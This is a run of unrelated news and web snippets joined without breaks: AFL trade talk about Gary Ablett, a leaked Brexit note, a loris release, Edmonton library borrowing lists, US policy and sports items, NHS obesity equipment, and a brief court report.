If you try this recipe, snap a photo and tag me on Instagram @theveglife1 I love seeing what you come up with 🙂Gary Ablett is expected to hand over the Suns' captaincy next year
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GARY Ablett is homesick and his manager Liam Pickering hasn't ruled out the Gold Coast superstar requesting a trade at the end of next season.
It emerged this week that Ablett asked for a shock return to Geelong before the start of the NAB AFL Trade Period.
But the Suns, who were about to lose young guns Jaeger O'Meara and Dion Prestia, emphatically shut down any suggestion their marquee player would be allowed to walk away with two seasons of a three-year deal remaining on his contract.
Suns head to Shanghai in 2017 for landmark game
Speaking on SEN radio on Saturday, Pickering said Ablett's future was up in the air.
"I don’t know what’s going to happen (next) year," Pickering said.
"He (Ablett) could come out injury-free, have a great year, the Suns could be flying and he might want to recommit to them even longer.
"I don't know; we're a year out.
"Absolutely there's a possibility he’ll finish the next two years there (at Gold Coast) - I think it’s a probability.
"He's contracted, he is their current captain."
Asked if it was inevitable that Ablett would become a Cat again, Pickering replied: "There's a lot of water to go under the bridge before he finishes his career".
Ablett played in two flags for Geelong before leaving at the end of 2010 to take up a mega five-year deal at the Suns.
The 32-year-old has endured a wretched run with shoulder and knee injuries over the past three seasons, playing only 35 of 66 games as the Suns' finals push stalled.
Pickering wasn’t surprised the star midfielder sought a move home but said Ablett had moved on quickly after being rebuffed.
"He actually just asked the question and said 'I'm homesick' and I want to get around my family," Pickering said.
"We asked the question, it was a pretty straightforward discussion and it was over as quickly as it was asked.
"Everyone wants to be around their family, he's newly-married … he's been gone for six years.
"He's moved forward, he's worked with the Suns to try and recruit these players throughout the (trade) period."
Ablett is expected to relinquish the captaincy for next season, with star forward Tom Lynch and defender Steven May tipped to be co-captains.Handwritten note photographed in hands of Tory aide on Downing Street says: ‘What’s the model? Have cake and eat it’
Britain is unlikely to be able to remain a member of the single market, according to a document photographed in the hands of a senior Conservative official on Downing Street.
A handwritten note, carried by an aide to the Tory vice-chair Mark Field after a meeting at the Department for Exiting the European Union, could be seen to say: “What’s the model? Have cake and eat it.”
And in a further embarrassment, it added “French likely to be most difficult.”
It also suggests that a deal on manufacturing with the EU should be “relatively straightforward” but admits that services, such as in the financial or legal sectors, are harder.
Brexit: UK government faces legal challenge over single market Read more
One idea cited in the note is a “Canada-plus” option, suggesting Britain could look to replicate the free trade deal hammered out by the EU over seven years with Ottawa.
However, it suggests that the UK would be seeking “more on services” than was agreed in the comprehensive economic and trade agreement (Ceta).
A government spokesperson distanced Theresa May from the document, saying: “These individual notes do not belong to a government official or a special adviser. They do not reflect the government’s position in relation to Brexit negotiations.”
A close-up of the part of the handwritten document with the phrase ‘have cake and eat it’. Photograph: Steve Back / Barcroft Images
However, the fact they appeared to have been taken during a meeting with officials or even ministers – given May’s tight-lipped approach to the negotiating strategy – means that they will be pored over.
The woman carrying the document appears to be Julia Dockerill, chief of staff to Field, who is vice-chair of the Conservative party, working on international issues and MP for the Cities of London and Westminster.
Field does not have a formal Brexit role but does take a keen interest on the impact that leaving the EU could have on the country’s financial services, many of which are based in his constituency, and is likely to have been speaking to senior figures about this issue.
Chance of an 'orderly' Brexit within two years is less than 50%, expert claims Read more
The notes also said: “Transitional – loath to do it. Whitehall will hold onto it. We need to bring an end to negotiations.”
That could suggest that ministers are not keen to enter a transitional deal after the end of the article 50 period, despite May hinting last week that this would be possible.
Other comments include: “Difficult on article 50 implementation – Barnier wants to see what deal looks like first”, in reference to lead negotiator Michel Barnier.
Facebook Twitter Pinterest The woman, believed to be Julia Dockerill, walks along Downing Street with the document. Photograph: Steve Back/Barcroft Images
“Got to be done in parallel – 20 odd negotiations. Keep the two years. Won’t provide more detail,” it adds. “We think it’s unlikely we’ll be offered Single Market.”
The document appears to reflect a discussion about the prospect of a trade deal like that of Norway, which is a member of the European Economic Area.
“Why no Norway – two elements – no ECJ intervention. Unlikely to do internal market.”
That appears to refer to the drawbacks of taking on the Norwegian model, which has the country outside the EU and its customs union, but inside the single market.
The reason Brexit supporters do not want to follow that idea is the requirement that Norway accepts free movement of people and is under the jurisdiction of the European court.
The document was being carried out of 9 Downing Street, the Brexit department, and into No 10 Downing Street when it was photographed. It comes after reports that there is a sign on the DExEU exit doors reading: “Stop! Are your documents on show?”.
It emerged on Monday that the government faces the prospect of a second legal challenge to its Brexit plans, with the group British Influence threatening a judicial review over whether leaving the EU means Britain must also automatically leave the European Economic Area and hence lose the free trading benefits of the single market.
However, the government and senior EU legal experts have claimed that this attempt is unlikely to be as successful as the high court ruling that parliament must have a vote before the Brexit process begins, which is the subject of an appeal by the government in the supreme court that is due to be heard next week.
Despite the denial about the note, it is likely to increase pressure on the government to lift the secrecy about its plan for Brexit, with opposition MPs complaining that there should be full transparency about the UK’s plans.
Stephen Gethins, the SNP spokesman on Europe, said the notes reveal a government “with no direction, and no clue”.
“Worryingly, those in favour of taking us out of the EU appear set to cut off their nose to spite their face – with an apparent call to end any negotiations with Europe before they’ve properly begun and already wishing to pull the plug on the prospect of transitional arrangements,” he said.
“These scribbled papers, however scant, seem to be the only plan the UK government has and stand starkly in contrast to the very clear plans set out by first minister Nicola Sturgeon in the aftermath of the EU referendum.
“If they weren’t so deeply troubling, these revelations would be risible. Public patience has worn thin with stonewalling and obfuscating from the UK government – it’s now high time they set out a proper plan on leaving the EU as opposed to hastily jotted down notes, so short on substance.”
Tim Farron, leader of the Lib Dems, added: “If this is a strategy it is incoherent. We can’t have our cake and eat it and there is no certainty on the single market. This picture shows the government doesn’t have a plan or even a clue.”
May has so far only promised to talk about her broad aims before triggering article 50 in March, and thereby officially notifying the EU of the UK’s intention to leave.
She has made clear that there will have to be more controls on immigration from the EU and wants to see an end to the jurisdiction of the European court of justice – which is why many think Britain will come out of the single market.
But the lack of further details from No 10 has alarmed many formerly pro-EU Labour and Tory MPs, who are increasingly cooperating in an attempt to stop a “hard Brexit”. Their key demands are staying as close to the single market as possible, a transitional deal to cushion the economic effect of leaving and more parliamentary scrutiny of the negotiations.
Some former remain politicians, including former prime ministers Tony Blair and Sir John Major, are even pushing for a second referendum to allow the public to vote on or even veto any deal for leaving the EU.
It was also reported in the Sunday Times that Mark Carney, the Bank of England governor, backs a transitional deal with the EU to cushion the impact of Brexit for businesses until at least 2021.Rescuers are celebrating the successful rehabilitation and release of 15 Sumatran slow lorises, who have just returned to their home in the wild.
The slow lorises, including six males and nine females, had been confiscated by police and surrendered by people to International Animal Rescue (IAR) in 2013. IAR then helped them go through a lengthy rehabilitation process.
After spending a period in quarantine, they were reintroduced to their natural diet and encouraged to engage in behaviors necessary for living in the wild. “Since being rescued, the fifteen protected primates have been restored to health and completed a period of rehabilitation at our centre in Ciapus, Bogor,” said Robithotul Huda, Program Manager at IAR’s Primate Rehabilitation Center.
He added that slow lorises who have been victims of wildlife traffickers and the illegal pet trade typically spend between one and four years at their rehabilitation center being prepared for release.
Credit: International Animal Rescue
This week, the group of lorises, including Ahok, Aju, Dodo, Ekor, Gaper, Haneut, Kopi, Merry, Met, Mika, Pinky, Rodek, Sugar, Tordo and Trio, were taken to the Bukit Barisan National Park in Lampung, Sumatra.
Credit: International Animal Rescue
The site was chosen because it’s a conservation area that is rich in biodiversity and has a bounty of food for the lorises.
Credit: International Animal Rescue
It’s hoped that this group will help boost the population of slow lorises |
Hayes 11
Calder
Anything Is Possible — Elizabeth Strout 127
Against All Odds: A Novel — Danielle Steel 82
Seeing Red — Sandra Brown 59
Sandra Brown Haunted — James Patterson 53
James Patterson Claudia and Mean Janine: A Graphic Novel — Ann M. Martin, art by Raina Telgemeier 51
The Empath’s Survival Guide: Life Strategies for Sensitive People — Judith Orloff MD 46
MD Girling Up: How to be Strong, Smart and Spectacular — Mayim Bialik 44
He Said/She Said — Erin Kelly 35
Tokyo Ghoul Vol. 12 — Sui Ishida 29
The Lost City of the Monkey God: A True Story — Douglas Preston 27
Capilano
Murder Games — James Patterson and Howard Roughan 136
The Child — Fiona Barton 129
House of Spies — Daniel Silva 95
Theft By Finding: diaries (1977-2002) — David Sedaris 93
Dangerous Minds — Janet Evanovich 71
The Ship of Secrets: The Tenth Adventure in the Kingdom of Fantasy — Geronimo Stilton, illustrations by Silvia Bigolin, Carla De Bernardi, Alessandro Muscillo 63
Carla De Bernardi Alessandro Muscillo The Silent Corner: A Novel of Suspense — Dean Koontz 62
Dragon Teeth: A Novel — Michael Crichton 61
One Perfect Lie — Lisa Scottoline 58
The Lightning Thief — Rick Riordan 55
Castle Downs
How To Be a Bawse: A Guide to Surviving (crossed out) Conquering Life — Lilly Singh 111
Smile — Raina Telgemeier, with colour by Stephanie Yue 91
Eleanor Oliphant Is Completely Fine — Gail Honeyman 90
American Gods — Neil Gaiman 89
The Baby-sitters Club Graphic Novel #1 Kristy’s Great Idea — Ann M. Martin, adapted and art by Raina Telgemeier 77
The 7 Habits of Highly Effective People: Powerful Lessons in Personal Change — Stephen R. Covey 65
How to Win Friends and Influence People — Dale Carnegie 64
It — Stephen King 62
Secrets in Death — JD Robb 61
JD Robb What Alice Forgot — Liane Moriarty 61
Clareview
Born A Crime: Stories From a South African Childhood — Trevor Noah 160
Wired — Julie Garwood 75
The 5 Love Languages: The Secret To Love That Lasts — Gary Chapman 64
In This Moment — Karma Brown 50
The Girl Who Knew Too Much — Amanda Quick 43
The Key: Diploma Preparation Guide, Biology 30 39
The One-minute Workout: Science Shows a Way to Get Fit That’s Smarter, Faster, Shorter — Martin Gibala with Christopher Shulgan 31
Never Let You Go — Chevy Stevens 31
Take Out — Margaret Maron 27
When the Body Says No: The Cost of Hidden Stress — Gabor Mate 27
Enterprise Square (Downtown)
Camino Island — John Grisham 437
The Late Show — Michael Connelly 238
The Fix — David Baldacci 161
Beartown: A Novel — Fredrik Backman, translated by Neil Smith 148
Two Nights: A Novel — Kathy Reichs 124
The Identicals: A Novel — Elin Hilderbrand 122
Little Sister: A Novel — Barbara Gowdy 48
Store — James Patterson 46
James Patterson Gwendy’s Button Box — Stephen King and Richard Chizmar 46
The People At Number 9 — Felicity Everett 44
Highlands
A Long Way Home — Saroo Brierley with Larry Buttrose 64
Difficult Women — Roxane Gay 59
A Dark So Deadly — Stuart MacBride 46
The Year of Living Danishly: Uncovering the Secrets of the World’s Happiest Country — Helen Russell 40
The Circle: A Novel — Dave Eggers 37
The Nordic Guide to Living 10 Years Longer: 10 Easy Tips For a Happier, Healthier Life — Bertil Marklund MD PhD 36
Restart — Gordon Korman 27
Dragonfly In Amber — Diana Gabaldon 25
My Favorite Thing is Monsters. Book One — Emil Ferris 23
KEY — Math 30-2 19
Idylwylde (Bonnie Doon)
Do Not Say We Have Nothing: A Novel — Madeleine Thien 185
Hunger: A Memoir Of (My) Body — Roxane Gay 137
My Not So Perfect Life: A Novel — Sophie Kinsella 120
Tools of Titans: The Tactics, Routines and Habits of Billionaires, Icons and World-class Performers — Tim Ferriss 117
and Habits of Billionaires, Icons and World-class Performers — Tim Ferriss The Seven Husbands of Evelyn Hugo: A Novel — Taylor Jenkins Reid 116
No Is Not Enough: Resisting the New Shock Politics and Winning the World We Need — Naomi Klein 110
16th Seduction — James Patterson and Maxine Paetro 87
The Black Book (large print) — James Patterson and David Ellis 79
Our Little Secret — Roz Nay 69
Harry Potter and the Order of the Phoenix — J.K. Rowling 64
Jasper Place
The Woman In Cabin 10 — Ruth Ware 279
Come Sundown — Nora Roberts 197
The Shack: Where Tragedy Confronts Eternity: A Novel — William P. Young; in collaboration with Wayne Jacobsen and Brad Cummings 91
Earls the Cookbook: Eat a Little, Eat A Lot 110 of Your Favourite Recipes 83
110 of Your Favourite Recipes The Gifts of Imperfection: Let Go of Who You Think You’re Supposed To Be and Embrace Who You Are — Brene Brown 82
Fierce Kingdom — Gin Phillips 77
— Gin Phillips Feast: Recipes and Stories From a Canadian Road Trip — Lindsay Anderson and Dana VanVeller 59
Use Of Force: A Thriller — Brad Thor 54
I Know a Secret — Tess Gerritsen 54
Tess Gerritsen Homo Deus: A Brief History of Tomorrow — Yuval Noah Harari 53
Lois Hole (Callingwood)
The Whistler (large print) — John Grisham 81
Camino Island (large print) — John Grisham 75
Mindset: The New Psychology of Success — Carol S. Dweck 62
Unshakeable: Your Financial Freedom Playbook — Tony Robbins with Peter Mallouk 56
with Peter Mallouk The Only Child: A Novel — Andrew Pyper 55
The Lightkeeper’s Daughters: A Novel — Jean E. Pendziwol 54
The Lose Your Belly Diet: Change Your Gut, Change Your Life — Travis Stork MD 53
Amulet. Book 7 Firelight — Kazu Kibuishi
A Gentleman in Moscow — Amor Towles 48
Unplug: A Simple Guide to Meditation for Busy Skeptics and Modern Soul Seekers — Suze Yalof Schwartz with Debra Goldstein 46
Londonderry
Thirteen Reasons Why: A Novel — Jay Asher 163
Everything E verything — Nicola Yoon
verything — Nicola Yoon King’s cage — Victoria Aveyard 61
The Land of Stories. Worlds Collide — Chris Colfer
Math Contests for Grades 4 5 and 6 — Steven R. Conrad Daniel Flegler 58
My Italian Bulldozer — Alexander McCall Smith 55
The Zookeeper’s Wife (large print): A War Story — Diane Ackerman 46
The Better Angels of Our Nature: Why Violence Has Declined — Steven Pinker 38
Blitzed: Drugs in Nazi Germany — Norman Ohler, translated by Shaun Whiteside 33
Ragged Company — Richard Wagamese 29
MacEwan Lending Machine
The Hate U Give — Angie Thomas 149
The Chilbury Ladies’ Choir: A Novel — Jennifer Ryan 21
The Gentleman’s Guide to Vice and Virtue — Mackenzi Lee 16
The Gustav Sonata — Rose Tremain 12
Florence in Ecstasy: A Novel — Jessie Chaffee 5
Be Here Now — Ram Dass 5
Spaceman of Bohemia — Jaroslav Kalfar 4
Structures or Why Things Don’t Fall Down — J.E. Gordon 4
or Why Things Don’t Fall Down — J.E. Gordon The Foot Book — Dr. Seuss 3
Wicked Plants: The Weed That Killed Lincoln’s Mother and Other Botanical Atrocities — Amy Stewart 3
McConachie
The Thirst — Jo Nesbo, translated from the Norwegian by Neil Smith 146
Lord of Shadows — Cassandra Clare 71
Every Last Lie — Mary Kubica 70
Quicksand — Malin Persson Giolito, translated from the Swedish by Rachel Willson-Broyles 31
The Futures: A Novel — Anna Pitoniak 22
No One Is Coming To Save Us: A Novel — Stephanie Powell Watts 20
Designing Your Life: How to Build a Well-lived J oyful Life — Bill Burnett and Dave Evans 15
oyful Life — Bill Burnett and Dave Evans Food Can Fix It: The Proven Plan for Weight Loss, Disease Prevention and Life-C — Mehmet Oz 15
Disease Prevention and Life-C Mehmet Oz Spark: The Revolutionary New Science of Exercise and the Brain — John J. Ratey with Eric Hagerman. 12
Gaia’s Garden: A Guide To Home-scale Permaculture — Toby Hemenway 11
Meadows
The First Mess Cookbook: Vibrant Plant-based Recipes to Eat Well Through The Seasons — Laura Wright 62
Good Night Stories for Rebel Girls: 100 Tales of Extraordinary Women — Elena Favilli and Francesca Cavallo 45
Harry Potter and the Deathly Hallows — J.K. Rowling 42
The Whole30: The 30-day Guide to Total Health and Food Freedom — Melissa Hartwig and Dallas Hartwig 41
Nighthawk: (A novel from the NUMA files) — Clive Cussler and Graham Brown 40
Dork Diaries. Tales from a Not-So-Smart Miss Know-It-All — by Rachel Renee Russell 39
If I Understood You W ould I Have This Look On My Face?: My Adventures in the Art and Science of Relating and Communicating — Alan Alda 36
ould I Have This Look On My Face?: My Adventures in the Art and Science of Relating and Communicating — Alan Alda Blackflies — Robert Munsch 36
Rituals — Kelley Armstrong 32
Kelley Armstrong The Great Gatsby — F. Scott Fitzgerald 32
Mill Woods
Cambridge IELTS … : Examination Papers from the University of Cambridge Local Examinations Syndicate 197
Astrophysics For People In A Hurry — Neil deGrasse Tyson 195
The Break — Katherena Vermette 139
Glass Houses — by Louise Penny 127
by Louise Penny When You Find Out the World Is Against You: And Other Funny Memories About Awful Moments — Kelly Oxford 104
Dog Man: A Tale of Two Kitties: From the Creator of Captain Underpants — Dav Pilkey 93
Pilkey The Baby-sitters Club. 3 Mary Anne Saves The Day: A Graphic Novel — Ann M. Martin 88
Mary Anne Saves The Day: A Graphic Novel — Ann M. Martin On Tyranny: Twenty Lessons From the Twentieth Century — Timothy Snyder 75
This I Know: Marketing Lessons from Under the influence — Terry O’Reilly 65
The Plant Paradox: The Hidden Dangers in Healthy Foods That Cause Disease and Weight Gain — Steven R. Gundry MD with Olivia Bell Buehl 63
Riverbend
The Handmaid’s Tale — Margaret Atwood 355
Rich People Problems: A Novel — Kevin Kwan 213
I Found You: A Novel — Lisa Jewell 170
Local Girl Missing: A Novel — Claire Douglas 129
Finding Gobi: A Little Dog With a Very Big Heart — Dion Leonard with Craig Borlase 84
In A Dark Dark Wood — Ruth Ware 82
Confessions Of a Domestic Failure — Bunmi Laditan 79
What She Knew — Gilly Macmillan 73
Before I Fall — Lauren Oliver 69
You Will Pay — Lisa Jackson 67
Sprucewood
Killers of the Flower Moon: The Osage Murders and the Birth of the FBI — David Grann 73
Big Nate: A Good Old-Fashioned Wedgie — Lincoln Peirce 60
Lincoln Peirce Goodbye Things: The New Japanese Minimalism — Fumio Sasaki, translated by Eriko Sugita 43
Big Nate’s Greatest Hits — Lincoln Peirce 40
We Are Never Meeting In Real Life: Essays — Samantha Irby 37
Tokyo Ghoul. 13 — Sui Ishida, translation Joe Yamazaki 34
Joe Yamazaki Joyous Detox: Your Complete Plan and Cookbook To Be Vibrant Every Day: 100 Gluten-free, D airy-free R efined Sugar-free Detox-friendly Recipes — Joy McCarthy 28
airy-free efined Sugar-free Detox-friendly Recipes — Joy McCarthy The Weekend Effect: The Life-changing Benefits of Taking Time Off and Challenging the Cult Of Overwork — Katrina Onstad 24
The Art of Learning: A Journey In the Pursuit of Excellence — Josh Waitzkin 23
Big Nate. Here Goes Nothing — Lincoln Peirce 20
Strathcona
The Ministry of Utmost Happiness — Arundhati Roy 220
Milk And Honey — Rupi Kaur 131
The Stranger In the Woods: The Extraordinary Story of the Last True Hermit — Michael Finkel 128
The Zookeeper’s Wife: A War Story — Diane Ackerman 109
The Last Neanderthal: A Novel — Claire Cameron 70
Exit West: A Novel — Mohsin Hamid 62
Swimming Lessons — Claire Fuller 58
Son Of a Trickster — Eden Robinson 56
Men Without Women: Stories — Haruki Murakami, translated from the Japanese by Philip Gabriel and Ted Goossen 55
Deep Work: Rules for Focused Success In a Distracted World — Cal Newport 52
West Henday Promenade (Lewis Estates)
Magpie Murders — Anthony Horowitz 162
Big Little Lies — Liane Moriarty 151
A Man Called Ove: A novel — Fredrik Backman, translation by Henning Koch 132
Fantastic Beasts and Where To Find Them — Newt Scamander 107
The Orphan’s Tale — Pam Jenoff 104
Wonder — R.J. Palacio 76
Stranger in the House — Shari Lapena 50
— Shari Lapena Drama — Raina Telgemeier 50
The Land of Stories. The Wishing Spell — Chris Colfer 46
Two Kinds of Truth — Michael Connelly 41
Whitemud Crossing
The Subtle Art of Not Giving a F—: A Counterintuitive Approach to Living a Good Life — Mark Manson 194
No Middle Name: The Complete Collected Jack Reacher Short Stories — Lee Child 162
The Hidden Life of Trees: What They Feel, Ho w They Communicate: Discoveries From a Secret World — Peter Wohlleben 136
w They Communicate: Discoveries From a Secret World — Peter Wohlleben Sapiens: A Brief History of Humankind — Yuval Noah Harari 134
The Dark Prophecy — Rick Riordan 120
Y is For Yesterday — by Sue Grafton 115
by Sue Grafton The Black Book — James Patterson and David Ellis 113
Forever Painless: Lasting Relief Through Gentle Movement — Miranda Esmonde-White 105
I Can’t Make This Up: Life Lessons — Kevin Hart with Neil Strauss 100
Goodnight from London: A Novel — Jennifer Robson 97
Woodcroft (Westmount)
Into The Water — Paula Hawkins 569
Option B: Facing adversity, Building Resilience A nd Finding Joy — Sheryl Sandberg, Adam Grant 230
nd Finding Joy — Sheryl Sandberg, Adam Grant The Alice Network — Kate Quinn 158
Norse Mythology — Neil Gaiman 157
Hillbilly Elegy: A Memoir Of A Family and Culture in Crisis — J.D. Vance 103
Hidden figures: The American dream and the Untold Story of the Black Women Mathematicians Who Helped Win the Space Race — Margot Lee Shetterly 97
Lying Game — Ruth Ware 95
Ruth Ware The Mark of Athena — Rick Riordan 85
The Fix (large print) — David Baldacci 84
Testimony — Scott Turow 66
jwakefield@postmedia.comA bill under consideration in Congress to bail out homeowners affected by the mortgage crisis enjoys strong bipartisan support, despite a recent White House veto threat. But the free-market advocacy group FreedomWorks is drawing attention to a provision introduced on the Senate side that has little to do with housing loans: a measure that would require credit card companies and electronic payment processors, such as PayPal, to file aggregate transaction reports with the IRS listing their total annual payments to individual merchants who receive more than $10,000 and conduct more than 200 transactions each year.
The reporting provision was introduced without debate as a revenue offset measure, meant to defray the costs of the housing bailout. According to the Senate's summary, the measure is projected to raise some $9.8 billion in revenue over 10 years by increasing tax compliance and encouraging merchants to accurately report their income.
During hearings earlier this year before the House Small Business Committee, however, Committee Chair Nydia Velásquez complained that such reporting requirements create "significant technical and financial challenges for banks and entrepreneurs alike." Projections of tax compliance gains, she said, were "built on the incorrect premise that electronic payments foreshadow profits. The reality is quite different for most small businesses: Electronic transactions bear little relationship to actual income, especially when chargebacks, merchant discounts, and other fees are accounted for. The result is that even careful compliance by entrepreneurs could lead to costly IRS audits."
Representatives for small business associations opposed to the requirements observed, for instance, that many businesses took deposits via credit card that did not constitute true income. Some also worried that the IRS would use the data to target to audit businesses that accepted an unusual number of electronic or credit card transfers for their industry.
Privacy groups harbor their own objections. David Sohn of the Center for Democracy and Technology testified that the reporting requirements would force transaction middlemen to retain information like tax ID numbers—which in the case of many small businesses will simply be the owner's Social Security Number—that the firms otherwise would discard. He also warned that an aggregate reporting requirement could easily transform into a demand for more detailed data.
The bill is expected to be kicked back to the House for a straight up-or-down vote sometime next week. That, according to CDT's Ari Schwartz, is "bad process," as it means the reporting measure is unlikely to be subject to much close consideration. The popular housing relief bill is expected to pass by a wide margin, despite the president's veto threat. "If you're going to add something like this,
says Schwartz, "at least have some independent discussion on the floor."In years past, the Orioles’ January minicamp has been the site of several veteran tryouts as the team seeks to round out its roster.
There weren’t any unfamiliar faces among the handful of major leaguers and large crop of minor league pitchers in Sarasota on Monday, but manager Buck Showalter said there might have been one if he’d had his way.
Showalter had asked scout Dean Albany, who covers Maryland, to invite Mount St. Joseph graduate Gavin Floyd to come throw for them this week. Showalter wasn’t clear whether that would happen or not.
The Severna Park native has frequently been mooted to join his hometown team, but his career hasn’t brought him back to Baltimore yet. The fourth overall pick in the 2001 MLB Draft to the Philadelphia Phillies made his major league debut in 2004, and was traded to the Chicago White Sox in 2006.
But he hasn’t been a contributor in the majors since he had Tommy John reconstructive elbow surgery in 2013. He signed with the Atlanta Braves over the Orioles in 2014 and threw for barely a month before losing another season to an elbow injury.
Sports reporter Jon Meoli reports from Orioles minicamp on pitchers Dylan Bundy and Hunter Harvey, and their clean bills of health. (Baltimore Sun video) Sports reporter Jon Meoli reports from Orioles minicamp on pitchers Dylan Bundy and Hunter Harvey, and their clean bills of health. (Baltimore Sun video) SEE MORE VIDEOS
He pitched in relief for the Cleveland Indians in 2015.
Past minicamp tryouts have had varying amounts of success. Designated hitter Delmon Young joined the team after impressing at the minicamp in 2014, while last year, veteran lefthander Mark Hendrickson tried to catch on with the team.
jmeoli@baltsun.com
www.twitter.com/jonmeoliStory highlights Navajo Nation is among the communities affected by the Gold King Mine spill
Leader wants to take legal action against the EPA
(CNN) On the Navajo reservation, the leader of the community of Shiprock worries about the corn, melons, squashes and other crops that could be lost if water from the San Juan River can't be drawn for irrigation.
The New Mexico farmers stopped drawing water from the river following the August 5 wastewater spill at a mine in Colorado into a river system that carried the pollutants to the reservation.
Preliminary tests in Colorado and New Mexico point to the spill having minimum risk of adverse health affects, but Shiprock Chapter President Duane "Chili" Yazzie will wait for a definitive all-clear before using the water on crops.
Rainfall this week bought the farmers more time, Yazzie said, but the next week is crucial. Some 750 families rely on farming for food, he said.
Communities up and down the Animas and San Juan rivers have been affected by the 3 million gallons of wastewater that spilled into the rivers, but the Navajo Nation in New Mexico appears to have the most at risk.
Read More(CNN) Senate Republicans continue to push forward on a plan to hold a vote sometime next week on legislation to repeal and replace the Affordable Care Act. The bill, which is sponsored by Sens. Lindsey Graham, R-South Carolina, and Bill Cassidy, R-Louisiana, still lacks the 50 votes it needs -- although Graham this week expressed confidence that they would get there.
Everything is moving very quickly on the Graham-Cassidy bill -- largely out of necessity. Due to Senate rules, any attempt to repeal and replace Obamacare will need 60 votes after the end of this month. That is an impossibility in the current Senate.
It's a complex bill with lots and lots of moving political and policy parts. So below is our attempt to explain the stakes -- and the chances -- in four *relatively simple* maps and charts.
Got another chart that you think would help people understand Graham-Cassidy? Send it to cillizza@cnn.com and we'll add the good ones to this post!
1. The 2018 Senate map
On its face, this map should have meant real opportunity for Republicans -- and the Trump White House -- on health care. After all, there are 25 Democrats -- and independents who caucus with Democrats -- up for reelection in 2018. More remarkably, 10 of those 25 represent states where Donald Trump won in 2016; five of them -- Missouri, North Dakota, Montana, Indiana and West Virginia -- he carried by double digits.
But from the start, Senate Majority Leader Mitch McConnell made clear that he had no plans to court Democrats because he didn't believe they would ever come on board. We'll never know now. But if the legislation does fail, the decision to not even make an effort to peel away a Democrat or two could be fateful.
2. States that gain/lose federal money under Graham-Cassidy
Big states are, not surprisingly, affected the most. Texas, which rejected Medicaid expansion under Obamacare, would see an increase of $35 billion in federal dollars headed its way. California and New York, two massive states whose governors accepted the Medicaid expansion, would see dips in funding of $78 billion and $45 billion, respectively.
Those are the extremes. It's the other 47 states -- or at least the 34 that would receive less federal dollars under Graham-Cassidy -- that should worry Republican politicians. Among the states that would lose billions in federal funding: Pennsylvania ($6 billion), Ohio ($9 billion), Colorado ($6 billion) and Michigan ($8 billion). The states that carried Trump to victory in the Rust Belt are hit hard.
3. States with the most people with pre-existing conditions
Jimmy Kimmel's disappointment that pre-existing conditions are not fully covered in the bill could also be shared by many of the Rust Belt voters who voted for Trump. Pennsylvania, Indiana, Ohio and Wisconsin have some of the highest numbers of individuals per capita with pre-existing conditions and who buy insurance on the individual market. There are no guarantees those individuals would be able to buy insurance under Graham-Cassidy.
The South, which has moved heavily toward Republicans at the federal level over the last few decades, would also see decent-sized chunks of its population potentially impacted by the flexibility in the law around pre-existing conditions.
4. Medicaid Spending cuts
Under the Graham-Cassidy plan, the Medicaid expansion funds in Obamacare -- which were used to incentivize states to expand their health coverage to include people living within 138% of the poverty line -- would be turned into block grants to the states in 2020. They would disappear completely in 2027.
And, the federal government would also reduce support for Medicaid overall. The Medicaid limits will hit poor children and non-disabled adults the hardest. States will have the option to spend more to supplement those huge funding drops but it is not required that they do so or even clear which states would.
States like Arkansas and Kentucky, home to Republican Sens. Tom Cotton and Rand Paul, will see the steepest cuts. Those states, which expanded Medicaid, will not receive funding to match their expansions.Many hospitals have failed to invest in'supersize’ equipment suited to morbidly obese patients, they said.
Investigations by surgeons at North Bristol NHS Trust found only one in six hospitals had access to MRI or CT scanners capable of taking the heaviest patients, weighing over 35 stone.
As an emergency measure, they will need to rely on scanners usually operated by vets as Britain’s obesity crisis means dealing with severely overweight patients becomes more routine.
Hospitals in the US are already calling zoos to use their scanners - built for lions, gorillas, horses and cattle.
Writing in The Royal College of Surgeons of England Bulletin, Sally Norton, a consultant bariatric surgeon, warned: “Failure to provide required imaging may lead to delay in diagnosis or inappropriate surgery – and, occasionally, enquiries into the potential use of veterinary or zoological scanners, with resultant loss of dignity for the patient.”
It was not just a patient’s weight that could be a problem, she noted: “In addition, abdominal girth may be too great for the aperture of the scanner.”
Ms Norton said: “In the US, hospitals are ringing up zoos to ask, 'Can we use your scanner?
“Our obesity problem is going the way of the US, so it could happen here too.”
CT and MRI scanners are essential to identify a wide variety of medical problems, from stroke to soft tissue joint injury.
In January a medic claimed London hospitals were sending very fat patients to be scanned at London Zoo and The Royal Veterinary College, although both organisations denied it was true.
Since 1993 the numbers of morbidly obese adults in Britain has tripled from about 450,000 to 1.4 million, according to the National Obesity Observatory.
Being morbidly obese means having a body mass index (BMI) of at least 40, which for someone who is 5ft 9in, equates to weighing 19st 7lb or more.
Ms Norton and colleagues found almost half of British hospitals are inadequately prepared to deal with extremely fat patients, despite growing numbers of people who are morbidly obese.
Besides scanners, they also lack wheelchairs or beds that are big and strong enough - or even patient gowns that will cover their full girth.
Ms Norton said hospitals were failing to keep pace with the changing shape of society because they had so many other things to deal with.
She and colleagues who conducted a survey of 18 hospitals in south west England found only half had cubicles designed to accommodate extremely heavy patients, and many lacked “adequately sized gowns to preserve dignity”.
Standard hospital beds are only designed to take 28 stone, wheelchairs 25 stone and examination couches 21 stone.
Only 39 per cent of theatre departments surveyed had a specific policy for the care of bariatric patients.
There were instances of equipment collapsing and leaving patients injured, she said, while staff could also hurt themselves trying to move them.
Ms Norton added that, while many hospitals claimed to have policies and equipment for coping with the morbidly obese, in practice doctors and nurses often did not know they existed or had no access to them.
The “biggest problem” was when such a patient turned up at 2am, she noted.
“If you’ve got time to plan you can get super-size beds and hoists set up, but you don’t often have that luxury.”
She said: “The current challenges in managing the increasing population of morbidly obese patients must be addressed.
“Failure to provide adequate equipment and appropriate management of obese patients could result in their safety being compromised and injury to both patients and staff”.
Their report is published as new NHS figures are released showing that the number of patients undergoing weight-loss surgery has risen nearly five-fold since 2007, to 8,600.KENTWOOD, MI -- A Grand Rapids pastor accused of attempting to arrange a meeting with an 11-year-old girl for sex will face a slightly different set of charges when he returns to court next month.
David Diehl's preliminary hearing was delayed Thursday morning after the prosecution submitted a second amendment to the charges filed against the 39-year-old Kentwood man.
The two counts Diehl is facing were altered to remove the "producing" aspect of his charges, according to defense attorney Matt Borgula. Diehl is accused of child sexually abusive activity and using a computer to commit a crime.
While being updated on the wording of the replacement charges, Kentwood District Judge William Kelly said Diehl still faces a felony punishable by up to 20 years in prison.
Giving the defense time to familiarize themselves with the new charges, Kelly pushed the preliminary hearing to Feb. 16.
Borgula declined further comment on the case, stating he needs time to review the amended charges.
